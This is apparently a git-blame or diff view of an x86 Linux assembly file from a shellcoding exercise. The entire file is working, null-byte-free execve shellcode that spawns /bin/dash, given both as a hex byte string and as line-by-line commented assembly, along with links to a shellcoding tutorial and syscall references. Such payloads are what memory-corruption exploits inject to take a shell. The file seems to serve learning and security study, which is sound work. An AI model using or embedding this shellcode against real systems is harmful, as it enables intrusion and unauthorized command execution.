2024-06-08 18:13:36 +02:00
|
|
|
|
2024-06-08 18:19:10 +02:00
|
|
|
; SHELLCODE: "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
|
2024-06-08 18:13:36 +02:00
|
|
|
|
2024-06-08 18:19:10 +02:00
|
|
|
section .text
|
|
|
|
|
global _start
|
|
|
|
|
|
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
; https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html ;
|
|
|
|
|
; https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit ;
|
|
|
|
|
; https://man7.org/linux/man-pages/man2/execve.2.html ;
|
|
|
|
|
; https://www.ascii-code.com/ ;
|
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
2024-06-08 18:13:36 +02:00
|
|
|
_start:
|
2024-06-08 18:19:10 +02:00
|
|
|
xor eax, eax ; set eax to NULL without terminating the shellcode later
|
|
|
|
|
push eax ; push a null byte onto the stack as the string terminator
|
|
|
|
|
push 0x68736164 ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian)
|
|
|
|
|
push 0x2f2f2f2f ; push the ASCII values for '////' onto the stack in reverse order "
|
|
|
|
|
push 0x6e69622f ; push the ASCII values for '/bin' onto the stack in reverse order "
|
|
|
|
|
mov ebx, esp ; set ebx to the address of the '/bin////dash' string (top of the stack)
|
|
|
|
|
mov ecx, eax ; set ecx to NULL (=> char *const _Nullable argv[] is NULL)
|
|
|
|
|
mov edx, eax ; set edx to NULL (=> char *const _Nullable envp[] is NULL)
|
|
|
|
|
mov al, 0xb ; load the syscall number for execve (11) into lowest 8 bits of eax to prevent null bytes in shellcode
|
|
|
|
|
int 0x80 ; trigger the kernel interrupt to execute the syscall
|
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
